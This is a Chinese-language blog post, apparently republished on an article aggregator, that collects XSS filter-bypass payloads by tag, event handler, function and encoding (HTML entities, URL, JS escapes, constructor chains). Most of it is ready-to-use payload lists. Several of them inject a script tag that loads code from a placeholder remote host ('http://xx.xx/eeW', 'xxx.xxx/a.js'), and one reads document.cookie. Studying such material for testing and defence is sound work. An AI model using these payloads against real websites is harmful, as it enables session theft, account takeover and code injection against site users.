XSS详解

XSS一些学习记录

  • XXS短标签、属性、事件、方法
    • 短标签
    • 属性
    • 事件
    • 函数
      • 弹窗函数
      • 一些对于绕过有用的函数
      • 一些函数使用payload收集
  • 浏览器编码问题
    • XML实体编码
    • URL编码
    • JS编码
    • 混合编码
  • 一些绕过方法
    • 利用constructor原型污染链构造弹框
    • 空格绕过
    • 圆括号过滤绕过
    • 其他的一些绕过
  • 参考

XXS短标签、属性、事件、方法

短标签

自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非我们闭合掉它们。





 
 
</plaintext> 
其他:<math></math>也不行
</code></pre> 
  <p>一些常见的短标签<br> 以下的短标签可以执行JavaScript</p> 
  <pre><code><a> 
<p> 
<img>
<body> 
<button>
<script>
<var>
<div> 
<object> 
<input> 
<select> 
<keygen> 
<frameset>  
<embed>
<svg> 
<video> 
<audio>
<iframe> 
<textarea> 
<math> 
</code></pre> 
  <p><a></p> 
  <pre><code><a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
</code></pre> 
  <p><img></p> 
  <pre><code><img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
</code></pre> 
  <p><iframe></p> 
  <pre><code><iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
</code></pre> 
  <p><audio></p> 
  <pre><code><audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
</code></pre> 
  <p><video></p> 
  <pre><code><video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
</code></pre> 
  <p><svg></p> 
  <pre><code><svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>
</code></pre> 
  <p><button></p> 
  <pre><code><button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
</code></pre> 
  <p><div></p> 
  <pre><code>原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
</code></pre> 
  <p><object></p> 
  <pre><code><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
</code></pre> 
  <p><script></p> 
  <pre><code><script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
<script src=http://xxx.xxx/a.js></script>
<script src=//xxx.xxx/a.js></script>
</code></pre> 
  <p><input></p> 
  <pre><code><input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
</code></pre> 
  <p><form></p> 
  <pre><code><form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
</code></pre> 
  <p>综合上面短标签的使用,除了特殊的几个,其他的使用都差不多,都是配合属性或者事件使用</p> 
  <h3>属性</h3> 
  <pre><code>data=
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
xlink:href=
autofocus=
content=
</code></pre> 
  <p>这里只介绍一个data协议,他可以使用Data URI绕过,但并不是所有短标签都可以使用</p> 
  <pre><code>* data:,文本数据
* data:text/plain,文本数据
* data:text/html,HTML代码
* data:text/css;base64,css代码
* data:text/javascript;base64,javascript代码
* data:image/x-icon;base64,base64编码的icon图片数据
* data:image/gif;base64,base64编码的gif图片数据
* data:image/png;base64,base64编码的png图片数据
* data:image/jpeg;base64,base64编码的jpeg图片数据

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<object data="data:text/html;base64 ,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
</code></pre> 
  <p>src/href/action/xlink:href/autofocus/content/data 等属性直接使用伪协议绕过。如javascript 伪协议: <a href=javascript:alert(2)>test</a><br> 不使用 href 的另外一种组合来执行 js:<svg><a xlink:href=“javascript:alert(14)”> </a></svg>(均可) 或者: <math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以) </p> 
  <h3>事件</h3> 
  <p>所有的event都是可以执行js的,on*事件中插入合乎逻辑的JS代码即可<br> 常见事件</p> 
  <pre><code>FSCommand() (当从嵌入式 Flash 对象中执行时,攻击者可以使用它)
onAbort() (当用户中止图像加载时)
onActivate() (当对象被设置为活动元素时)
onAfterPrint() (在用户打印或预览打印作业后激活)
onAfterUpdate() (更新源对象中的数据后在数据对象上激活)
onBeforeActivate() (在对象被设置为活动元素之前触发)
onBeforeCopy()(攻击者在将选择复制到剪贴板之前执行攻击字符串 – 攻击者可以使用该execCommand("Copy")功能执行此操作)
onBeforeCut() (攻击者在选择被切断之前执行攻击字符串)
onBeforeDeactivate() (在 activeElement 从当前对象更改后立即触发)
onBeforeEditFocus() (在可编辑元素中包含的对象进入 UI 激活状态之前或在选择可编辑容器对象时触发)
onBeforePaste()(用户需要被诱骗粘贴或使用该execCommand("Paste")功能强制粘贴)
onBeforePrint()(用户需要被欺骗打印或攻击者可以使用print()或execCommand("Print")功能)。
onBeforeUnload() (用户需要被诱骗关闭浏览器 – 除非它是从父级生成的,否则攻击者无法卸载窗口)
onBeforeUpdate() (在更新源对象中的数据之前激活数据对象)
onBegin() (当元素的时间线开始时, onbegin 事件会立即触发)
onBlur() (在加载另一个弹出窗口并且窗口失去焦点的情况下)
onBounce() (当Marquee对象的行为属性设置为“备用”和Marquee的内容到达窗口的一侧时)
onCellChange() (当数据提供者中的数据发生变化时触发)
onChange() (选择、文本或 TEXTAREA 字段失去焦点并且其值已被修改)
onClick() (有人点击表格)
onContextMenu() (用户需要右键单击攻击区域)
onControlSelect() (当用户即将对对象进行控件选择时触发)
onCopy()(用户需要复制一些东西或者可以使用execCommand("Copy")命令来利用它)
onCut()(用户需要复制一些东西或者可以使用execCommand("Cut")命令来利用它)
onDataAvailable() (用户需要更改元素中的数据,否则攻击者可以执行相同的功能)
onDataSetChanged() (当数据源对象公开的数据集更改时触发)
onDataSetComplete() (触发以指示数据源对象中的所有数据都可用)
onDblClick() (用户双击表单元素或链接)
onDeactivate() (当 activeElement 从当前对象更改为父文档中的另一个对象时触发)
onDrag() (要求用户拖动对象)
onDragEnd() (要求用户拖动对象)
onDragLeave() (要求用户将对象拖离有效位置)
onDragEnter() (要求用户将对象拖动到有效位置)
onDragOver() (要求用户将对象拖动到有效位置)
onDragDrop() (用户将对象(例如文件)拖放到浏览器窗口上)
onDragStart() (在用户开始拖动操作时发生)
onDrop() (用户将对象(例如文件)拖放到浏览器窗口上)
onEnd() (当时间线结束时触发 onEnd 事件。
onError() (加载文档或图像会导致错误)
onErrorUpdate() (在更新数据源对象中的关联数据时发生错误时触发数据绑定对象)
onFilterChange() (当视觉过滤器完成状态更改时触发)
onFinish() (攻击者可以在选框完成循环时创建利用)
onFocus() (攻击者在窗口获得焦点时执行攻击字符串)
onFocusIn() (攻击者在窗口获得焦点时执行攻击字符串)
onFocusOut() (攻击者在窗口失去焦点时执行攻击字符串)
onHashChange() (当文档当前地址的片段标识符部分更改时触发)
onHelp() (攻击者在窗口处于焦点时用户点击 F1 时执行攻击字符串)
onInput() (元素的文本内容通过用户界面更改)
onKeyDown() (用户按下一个键)
onKeyPress() (用户按下或按住某个键)
onKeyUp() (用户释放密钥)
onLayoutComplete() (用户必须打印或打印预览)
onLoad() (攻击者在窗口加载后执行攻击字符串)
onLoseCapture()(可以被releaseCapture()方法利用)
onMediaComplete() (当使用流媒体文件时,此事件可能会在文件开始播放之前触发)
onMediaError() (用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发该事件)
onMessage() (当文档收到消息时触发)
onMouseDown() (攻击者需要让用户点击图片)
onMouseEnter() (光标在对象或区域上移动)
onMouseLeave() (攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)
onMouseMove() (攻击者需要让用户将鼠标悬停在图像或表格上)
onMouseOut() (攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)
onMouseOver() (光标在对象或区域上移动)
onMouseUp() (攻击者需要让用户点击图片)
onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
onMove() (用户或攻击者会移动页面)
onMoveEnd() (用户或攻击者会移动页面)
onMoveStart() (用户或攻击者会移动页面)
onOffline() (发生在浏览器在联机模式下工作并且开始脱机工作时)
onOnline() (发生在浏览器在离线模式下工作并开始在线工作时)
onOutOfSync() (中断元素播放时间轴定义的媒体的能力)
onPaste()(用户需要粘贴或攻击者可以使用该execCommand("Paste")功能)
onPause() (当时间线暂停时,onpause 事件会在每个处于活动状态的元素上触发,包括 body 元素)
onPopState() (当用户浏览会话历史时触发)
onProgress() (攻击者会在加载 Flash 电影时使用它)
onPropertyChange() (用户或攻击者需要更改元素属性)
onReadyStateChange() (用户或攻击者需要更改元素属性)
onRedo() (用户在撤消交易历史中前进)
onRepeat() (该事件为时间线的每次重复触发一次,不包括第一个完整周期)
onReset() (用户或攻击者重置表单)
onResize()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeEnd()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeStart()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResume() (onresume 事件会在时间线恢复时激活的每个元素上触发,包括 body 元素)
onReverse() (如果元素的 repeatCount 大于 1,则每次时间线开始向后播放时都会触发此事件)
onRowsEnter() (用户或攻击者需要更改数据源中的一行)
onRowExit() (用户或攻击者需要更改数据源中的一行)
onRowDelete() (用户或攻击者需要删除数据源中的一行)
onRowInserted() (用户或攻击者需要在数据源中插入一行)
onScroll()(用户需要滚动,否则攻击者可以使用该scrollBy()功能)
onSeek() (当时间轴设置为向前以外的任何方向播放时,将触发 onreverse 事件)
onSelect()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)
onSelectionChange()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)
onSelectStart()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)
onStart() (在每个选框循环开始时触发)
onStop() (用户需要按停止按钮或离开网页)
onStorage() (存储区域已更改)
onSyncRestored() (用户中断元素播放由时间线定义的媒体的能力以触发)
onSubmit() (需要攻击者或用户提交表单)
onTimeError() (用户或攻击者将时间属性(例如 dur)设置为无效值)
onTrackChange() (用户或攻击者更改播放列表中的曲目)
onUndo() (用户在撤消事务历史记录中倒退)
onUnload() (当用户单击任何链接或按下后退按钮或攻击者强制单击时)
onURLFlip() (当由 HTML+TIME(定时交互式多媒体扩展)媒体标签播放的高级流格式 (ASF) 文件处理嵌入在 ASF 文件中的脚本命令时,将触发此事件)
seekSegmentTime() (这是一种在元素的片段时间线上定位指定点并从该点开始播放的方法。片段由时间线的一次重复组成,包括使用 AUTOREVERSE 属性的反向播放。)
</code></pre> 
  <h3>函数</h3> 
  <h4>弹窗函数</h4> 
  <pre><code>alert
confirm
prompt
</code></pre> 
  <h4>一些对于绕过有用的函数</h4> 
  <pre><code>eval
top
window
self
parent
frames
setTimeout
atob
setInterval
</code></pre> 
  <p><strong>eval</strong></p> 
  <pre><code><img src="x"onerror="eval('al'+'ert(1)')">
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>eval("\141\154\145\162\164\050\061\051")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>
</code></pre> 
  <p><strong>top</strong></p> 
  <pre><code><img src="x" onerror="top['al'+'ert'](1)">
JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
</code></pre> 
  <p><strong>window</strong></p> 
  <pre><code><img src="x" onerror="window['al'+'ert'](1)">
</code></pre> 
  <p><strong>self</strong></p> 
  <pre><code><img src="x" onerror="self[`al`+`ert`](1)">
</code></pre> 
  <p><strong>parent</strong></p> 
  <pre><code><img src="x" onerror="parent[`al`+`ert`](1)">
</code></pre> 
  <p><strong>frames</strong></p> 
  <pre><code><img src="x" onerror="frames[`al`+`ert`](1)">
</code></pre> 
  <p><strong>setTimeout</strong></p> 
  <pre><code><svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
</code></pre> 
  <p><strong>atob</strong><br> atob() 方法用于解码使用 base-64 编码的字符串</p> 
  <pre><code><img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
</code></pre> 
  <p><strong>parseInt()与toString()</strong><br> parseInt() 第二个参数会把第一个参数以第二个参数的进制来解析,第二个参数介于2-36之间,而 toString()可以将数值以任意进制还原成字符串<br> <a href="http://img.e-com-net.com/image/info8/e670a64ec82e46a58302f5e7e5fc985d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e670a64ec82e46a58302f5e7e5fc985d.jpg" alt="XSS详解_第1张图片" width="544" height="536" style="border:1px solid black;"></a><br> 实际使用时建议先进行测试是否能还原</p> 
  <pre><code><details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[17795081..toString(36)](1); >
</code></pre> 
  <h4>一些函数使用payload收集</h4> 
  <pre><code>img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
</code></pre> 
  <p><strong>setInterval</strong><br> setInterval与setTimeout差不多</p> 
  <pre><code><svg/onload=setInterval('al'%2b'ert(1)')>
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
</code></pre> 
  <h2>浏览器编码问题</h2> 
  <p>浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE)。</p> 
  <h3>XML实体编码</h3> 
  <pre><code><a href="javascript:alert(1)">test</a>
十进制
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>
十六进制
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>
可以不带分号
<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>
可以填充0
<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>
</code></pre> 
  <p><strong>XML实体编码不能对属性或者短标签进行编码,否则无法识别,可以对属性里面的内容进行编码</strong></p> 
  <h3>URL编码</h3> 
  <p>注入点存在 href 或者 src 属性时,可以使用 url 编码,但不能对属性进行编码。</p> 
  <pre><code><a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
</code></pre> 
  <h3>JS编码</h3> 
  <p>在处理诸如<script> <style>这样的标签,解析器会自动切换到JS解析模式,而src、 href 后边加入的javascript 伪URL,也会进入JS 的解析模式,ON事件后面也会直接进入JS模式。JS编码解析时不能破坏javascript协议。</p> 
  <pre><code>js 编码策略:

“” 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”
“\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”
“\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”
对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)
</code></pre> 
  <p>在进行JavaScript解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,在上例中Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行解码后为alert,而alert是一个有效的标识符名称,它是能被正常解析的。像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,无法正常解析,因此编码时,禁止编码圆括号、双引号、单引号等等</p> 
  <p>如</p> 
  <pre><code><img src=x onerror="alert(1)">
</code></pre> 
  <p>编码为</p> 
  <pre><code><img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
</code></pre> 
  <p>但是下面这个是例外,可以全部编码</p> 
  <pre><code><input onfocus=location="alert(1)" autofocus>
</code></pre> 
  <p>可编码为</p> 
  <pre><code><input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
</code></pre> 
  <p>可用下面的网站进行编码<br> https://tool.chinaz.com/tools/unicode.aspx</p> 
  <h3>混合编码</h3> 
  <p>浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE),所以要混合编码需要和解析顺序相反进行编码</p> 
  <pre><code><a href="javascript:alert(1)">test</a>
</code></pre> 
  <p>JS编码后为</p> 
  <pre><code><a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
</code></pre> 
  <p>url编码后为</p> 
  <pre><code><a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
</code></pre> 
  <p>html实体编码后为</p> 
  <pre><code><a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>
</code></pre> 
  <h2>一些绕过方法</h2> 
  <h3>利用constructor原型污染链构造弹框</h3> 
  <p>其根本原理是利用constructor原型污染链构造Function,使用Function来构造<strong>匿名函数</strong>,然后在其中写入任意的js代码进行执行,匿名函数后面加上一个括号即可立即执行</p> 
  <p>常规的js构造函数弹窗</p> 
  <pre><code>let sayHi = new Function('alert("Hello")');
sayHi(); 
</code></pre> 
  <p>写成一句话调用匿名函数</p> 
  <pre><code>new Function('alert("Hello")')();
//弹框
//精简去掉 new 和 ;
Function('alert("Hello")')()
</code></pre> 
  <p>为了替换掉Function,我们用constructor构造<br> <a href="http://img.e-com-net.com/image/info8/9d5880c84b9a4135bf4487134a565bdc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/9d5880c84b9a4135bf4487134a565bdc.jpg" alt="在这里插入图片描述" width="374" height="80"></a><br> 可以得到</p> 
  <pre><code>String.constructor('alert("Hello")')()
</code></pre> 
  <p>再把string处理掉<br> <a href="http://img.e-com-net.com/image/info8/3460aaca985b49518c344c7601afe55e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3460aaca985b49518c344c7601afe55e.jpg" alt="在这里插入图片描述" width="336" height="89"></a><br> 可以得到</p> 
  <pre><code>"".constructor.constructor("alert(1)")()
</code></pre> 
  <p>如果黑名单过滤了(),可以用反引号绕过</p> 
  <pre><code>String.constructor`al\x65rt\x28/xss/\x29```
</code></pre> 
  <p>如果黑名单过滤了.可以再根据a.b与a[b]等价的定理进行变换</p> 
  <pre><code>""["constructor"]["constructor"]("alert(1)")()
</code></pre> 
  <p>针对字符串,可以使用16进制,8进制转码,我们用8进制转码一下</p> 
  <pre><code>""["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()
</code></pre> 
  <p>一些payload</p> 
  <pre><code><svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>

<svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>

<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
</code></pre> 
  <h3>空格绕过</h3> 
  <p>可以利用 /和//还有/**/替换绕过空格</p> 
  <pre><code><img//src//onerror=alert(1)>
<img/**/src/**/onerror=alert(1)>
</code></pre> 
  <p>还可以throw 绕过</p> 
  <pre><code><video src onerror="javascript:window.οnerrοr=alert;throw 1">
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
</code></pre> 
  <h3>圆括号过滤绕过</h3> 
  <p>可以用斜杠替换</p> 
  <pre><code><img src onerror=alert(/xss/)>
</code></pre> 
  <p>还可以用反引号替换</p> 
  <pre><code><img src onerror=alert(`xss`)>
</code></pre> 
  <h3>其他的一些绕过</h3> 
  <p>其他的一些绕过其实可以根据上面的知识,尝试大小写绕过,编码绕过,利用相似功能的函数进行绕过,拼接绕过等</p> 
  <p>下面这个是一个很典型的例子,第一条不行,发现是事件上了黑名单,换个事件即可</p> 
  <pre><code><a href="x" onmouseover="confirm('123');">xss</a>
<a href="x" onMouseEnter="confirm('123');">aa</a>
</code></pre> 
  <h2>参考</h2> 
  <p>https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html<br> https://blog.csdn.net/hackzkaq/article/details/126344040<br> https://www.ddosi.org/xss-bypass/#XSS_%E5%AE%9A%E4%BD%8D%E5%99%A8%EF%BC%88Polygot%EF%BC%89<br> http://www.0xby.com/98.html<br> https://xz.aliyun.com/t/6597<br> https://lalajun.github.io/2020/11/18/%E5%8D%81%E4%BA%8C%E4%B8%AAXSS%E6%A1%88%E4%BE%8B%E9%87%8D%E6%96%B0%E8%AE%A4%E8%AF%86XSS-%E4%B8%8A/</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1708626397477548032"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(基础知识,xss,安全)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1950233072825856000.htm"
                           title="三菱PLC全套学习资料及应用手册" target="_blank">三菱PLC全套学习资料及应用手册</a>
                        <span class="text-muted">good2know</span>

                        <div>本文还有配套的精品资源,点击获取简介:三菱PLC作为工业自动化领域的核心设备,其系列产品的学习和应用需要全面深入的知识。本次资料包为学习者提供从基础到进阶的全方位学习资源,包括各种型号PLC的操作手册、编程指南、软件操作教程以及实际案例分析,旨在帮助用户系统掌握PLC的编程语言、指令系统及在各类工业应用中的实施。1.三菱PLC基础知识入门1.1PLC的基本概念可编程逻辑控制器(PLC)是工业自动化</div>
                    </li>
                    <li><a href="/article/1950231254427299840.htm"
                           title="我不懂什么是爱,但我给你全部我拥有的" target="_blank">我不懂什么是爱,但我给你全部我拥有的</a>
                        <span class="text-muted">香尧</span>

                        <div>因为怕黑,所以愿意陪伴在夜中行走的人,给他一点点的安全感。因为渴望温柔与爱,所以愿意为别的孩子付出爱与温柔。因为曾遭受侮辱和伤害,所以不以同样的方式施于其他人。如果你向别人出之以利刃,对方还了你爱与包容,真的不要感激他,真的不要赞美他。每一个被人伤害过的人心里都留下了一颗仇恨的种子,他也会想要有一天以眼还眼,以牙还牙。但他未让那颗种子生根发芽,他用一把心剑又一次刺向他自己,用他血荐仇恨,开出一朵温</div>
                    </li>
                    <li><a href="/article/1950228031117258752.htm"
                           title="深入解析JVM工作原理:从字节码到机器指令的全过程" target="_blank">深入解析JVM工作原理:从字节码到机器指令的全过程</a>
                        <span class="text-muted"></span>

                        <div>一、JVM概述Java虚拟机(JVM)是Java平台的核心组件,它实现了Java"一次编写,到处运行"的理念。JVM是一个抽象的计算机器,它有自己的指令集和运行时内存管理机制。JVM的主要职责:加载:读取.class文件并验证其正确性存储:管理内存分配和垃圾回收执行:解释或编译字节码为机器指令安全:提供沙箱环境限制恶意代码二、JVM架构详解JVM由三个主要子系统组成:1.类加载子系统类加载过程分为</div>
                    </li>
                    <li><a href="/article/1950227570091945984.htm"
                           title="叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规!受骗不能提现出金被骗真相曝光!" target="_blank">叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规!受骗不能提现出金被骗真相曝光!</a>
                        <span class="text-muted">天权顾问</span>

                        <div>量化北恒私募实盘大赛周一丰投票项目安全吗?量化北恒私募实盘大赛周一丰积分投票已经亏损被骗了怎么办?警惕!量化北恒私募实盘大赛周一丰十选五项目合法吗——杀猪盘骗局!被骗提不了款!提不了现!出不来金!不要上当!自古有句话讲得好“人善被欺、马善被骑”,现如今也是被骗子利用到了极致,人善就真该被欺骗吗?狡猾的骗子们就利用到了这点,利用同情心、爱心去进行诈骗,宣传公益捐款、爱心慈善打比赛来骗取资金!正常的投</div>
                    </li>
                    <li><a href="/article/1950225255079407616.htm"
                           title="企业级区块链平台Hyperchain核心原理剖析" target="_blank">企业级区块链平台Hyperchain核心原理剖析</a>
                        <span class="text-muted">boyedu</span>
